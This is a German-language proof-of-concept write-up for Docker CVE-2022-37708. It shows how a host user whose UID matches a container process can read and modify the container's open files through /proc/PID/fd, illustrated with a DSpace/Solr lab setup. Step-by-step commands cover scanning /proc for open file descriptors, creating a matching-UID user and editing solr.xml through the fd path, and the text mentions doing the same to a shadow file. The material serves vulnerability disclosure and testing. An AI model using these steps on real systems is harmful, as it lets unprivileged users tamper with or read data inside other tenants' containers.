
Docker CVE-2022-37708
Docker CVE-2022-37708.
Dieser Exploit nutzt aus, wie das UNIX-Dateisystem UID und GID für Dateien verwendet, die Docker zwischen dem Host, auf dem Docker läuft, und dem Client, der innerhalb von Docker ausgeführt wird, teilt. Außerdem nutzt er die Natur der Prozess-ID-Inhaberschaft aus.
Dies kann in praktisch jeder Sprache durchgeführt werden, die Dateideskriptor-Zugriff bietet.
Das Verzeichnis /proc/ legt dies offen, was die Durchführung mit Shell-Befehlen sehr einfach macht.
Stell dir einen Computer vor, der einen E-Mail-Dienst für mehrere Benutzer bereitstellt. Dieser E-Mail-Dienst läuft in einer eigenständigen Distribution, die innerhalb von Docker auf dem Host ausgeführt wird. Die eigenständige Distribution gilt als "Client-System". Das System, auf dem Docker ausgeführt wird, gilt als "Host-System". Das "Host-System" hat verschiedene Dienste, wie z. B. "DBUS" zur Bereitstellung eines Message-Bus. Aus Sicherheitsgründen wird der "DBUS"-Message-Bus als unprivilegierter Benutzer "messagebus" mit der UID 123 ausgeführt. Der Benutzer "messagebus" hat keinen Zugriff auf Docker und keinen Zugriff auf das "Client-System". Aus Sicherheitsgründen führt das "Client-System" die E-Mail-Verarbeitung als Nicht-Root-Benutzer "emailservice" mit der UID 123 aus.
Beachte, wie ich den "messagebus" mit einer UID von 123 und auch den "emailservice" mit einer UID von 123 bezeichnet habe. Das ist normalerweise kein Problem, da es sich um zwei getrennte Systeme handelt (das "Client-System" und das "Host-System") und deren UIDs und Benutzerzuordnungen in keiner Beziehung zueinander stehen.
Wenn der "emailservice" zu irgendeinem Zeitpunkt eine zufällige E-Mail zur Verarbeitung öffnet, hätte der "messagebus" die Möglichkeit, diese Datei sowohl zu sehen als auch zu bearbeiten. Da der Benutzer "messagebus" sich vollständig außerhalb des "Client-Systems" befindet, würde das "Client-System" nie erfahren, dass diese Datei möglicherweise gelesen und beschrieben wird.
Dies kann sogar noch gefährlicher sein, wenn der "emailservice" die Shadow-Datei des Systems liest, um eine Benutzername-Passwort-Kombination zu validieren. Der "messagebus" hätte dann für die Dauer, in der diese Datei im "Client-System" geöffnet ist, vollständigen Lese- und Schreibzugriff auf die Shadow-Datei innerhalb des "Client-Systems".
Eine einfache Möglichkeit, den Exploit durchzuführen, besteht darin, einfach per PID-Dialing das Verzeichnis /proc/ nach PID-Dateien zu durchsuchen.
Ein einfaches Bash-Skript in einer Endlosschleife kann regelmäßig nach geöffneten Dateien suchen.
for i in /proc/* ; do if [[ -d $i/fd ]] ; then ls -lh $i/fd ; fi ; done
Es gibt zwei kritische Teile des Exploits, die ihn schwer ausnutzbar machen.
Im ersten Fall können eine Endlosschleife und etwas Skript-Magie das abmildern. Im zweiten Fall kann eine speziell präparierte Distribution oder eine gut bekannte Distribution den Glücksfaktor ausschließen. Wenn ein System vordefinierte UIDs hat, sollte es möglich sein, vorherzusagen, welche UID außerhalb des "Client-Systems" benötigt wird.
Verwendung einer Vagrant-Debian-10 (Buster)-VM als "Host-System" zum Testen des Exploits:
Vagrant.configure("2") do |config|
config.vm.box = "generic/debian10"
config.vm.provider "virtualbox" do |vb|
vb.memory = 4096
vb.cpus = 2
vb.name = "Wargames"
end
config.vm.synced_folder "/tmp/files", "/host"
end
Innerhalb des "Host-Systems" die neueste Version von Docker holen und den Anweisungen hier folgen:
Das Beispiel-"Client-System" ist ein auf GitHub gehostetes Open-Source-Produkt namens DSpace, das eine Docker-Compose-Datei bereitstellt:
Jetzt DSpace klonen und docker compose ausführen:
# git clone https://github.com/DSpace/DSpace.git
# cd DSpace
# docker compose up
Dieses Projekt erstellt mehrere Images, aber konzentrieren wir uns auf "dspace_solr_data".
Bestätigen wir, dass Directory Traversal geschützt ist:
# sudo ls -ld /var/lib/docker
drwx--x--- 15 root root 4096 May 6 13:49 /var/lib/docker
Schauen wir uns die Datei an, die ich ausnutzen möchte:
# sudo find /var/lib/docker/volumes/ -name solr.xml
/var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
/var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
# sudo ls -ld $(sudo find /var/lib/docker/volumes/ -name solr.xml)
-rw-rw---- 1 8983 root 2427 Apr 25 20:59 /var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
-rw-rw---- 1 8983 root 2427 Apr 25 20:59 /var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
Das sagt uns, dass unser Glückspilz-Benutzer zufällig eine UID von 8983 haben muss, um dies ausnutzen zu können.
Erstellen wir diesen glücklichen Benutzer und nennen wir ihn "Lightman".
# sudo useradd -u 8983 -d /home/Lightman/ -m Lightman
Jetzt schauen wir uns diese Dateien an:
# sudo ls -ld $(sudo find /var/lib/docker/volumes/ -name solr.xml)
-rw-rw---- 1 Lightman root 2427 Apr 25 20:59 /var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
-rw-rw---- 1 Lightman root 2427 Apr 25 20:59 /var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
Damit Lightman dies ausnutzen kann, muss Lightman nicht nur der Eigentümer der Dateien sein, sondern ein Prozess INNERHALB des "Client-Systems" muss die Datei geöffnet haben.
Um diesen Exploit zu beweisen, werden wir tail -F auf der Datei solr.xml innerhalb des "Client-Systems" verwenden.
Führe dies in einem separaten Terminal aus, das als Vagrant-Benutzer am "Host-System" angemeldet ist.
Finde den richtigen Container heraus:
# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
...
c4b06050ef46 solr:8.11-slim "/bin/bash -c 'init-…" 11 minutes ago Up 11 minutes 0.0.0.0:8983->8983/tcp dspacesolr
Jetzt mit solr:8.11-slim verbinden.
# docker run -it solr:8.11-slim bash
# id
uid=8983(solr) gid=8983(solr) groups=8983(solr)
Der Solr-Benutzer hat tatsächlich die UID 8983.
Jetzt die Datei solr.xml öffnen und offen halten.
# tail -F /var/solr/data/solr.xml
Großartig, alles ist eingerichtet, damit der Benutzer Lightman per War Dialing nach Dateideskriptoren suchen kann.
Öffne in einem separaten Terminal, das als Vagrant-Benutzer am "Host-System" angemeldet ist, und wechsle zum Benutzer Lightman.
# sudo su - Lightman
# id
uid=8983(Lightman) gid=8983(Lightman) groups=8983(Lightman)
Verwende /proc, um alle offenen Dateideskriptoren durchzuwählen:
# ls /proc/*/fd/* -ld
lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/0 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/1 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/2 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12622/fd/255 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/0 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/1 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/2 -> /dev/pts/0
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/3 -> /var/solr/data/solr.xml
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/4 -> anon_inode:inotify
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/0 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/1 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/10 -> /dev/tty
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/2 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/0 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/1 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/2 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/0 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/1 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/2 -> /dev/pts/3
Wie du sehen kannst, haben wir zwei Übereinstimmungen:
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/3 -> /var/solr/data/solr.xml
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/4 -> anon_inode:inotify
Beachte, dass der Pfad /var/solr/data/solr.xml auf dem "Host-System" eigentlich nicht existiert.
Achte dabei genau auf das Terminal, in dem du tail -F ausführst.
Bearbeite die Datei, indem du sie direkt über den proc-Pfad öffnest:
# vim /proc/12683/fd/3
Ich gehe zum Ende der Datei, schreibe Hello World und speichere die Änderung.
Du solltest sehen, dass die Datei auch im "Client-System" aktualisiert wird.
Lightman hat erfolgreich eine Datei bearbeitet, auf die Lightman weder ordnungsgemäßen Lese-/Schreibzugriff noch Verzeichnis-Traversal-Zugriff hat. Die Datei befindet sich tatsächlich in einem Docker-Client, der unter einer anderen Distribution läuft, auf der es keinen Benutzer "Lightman" gibt.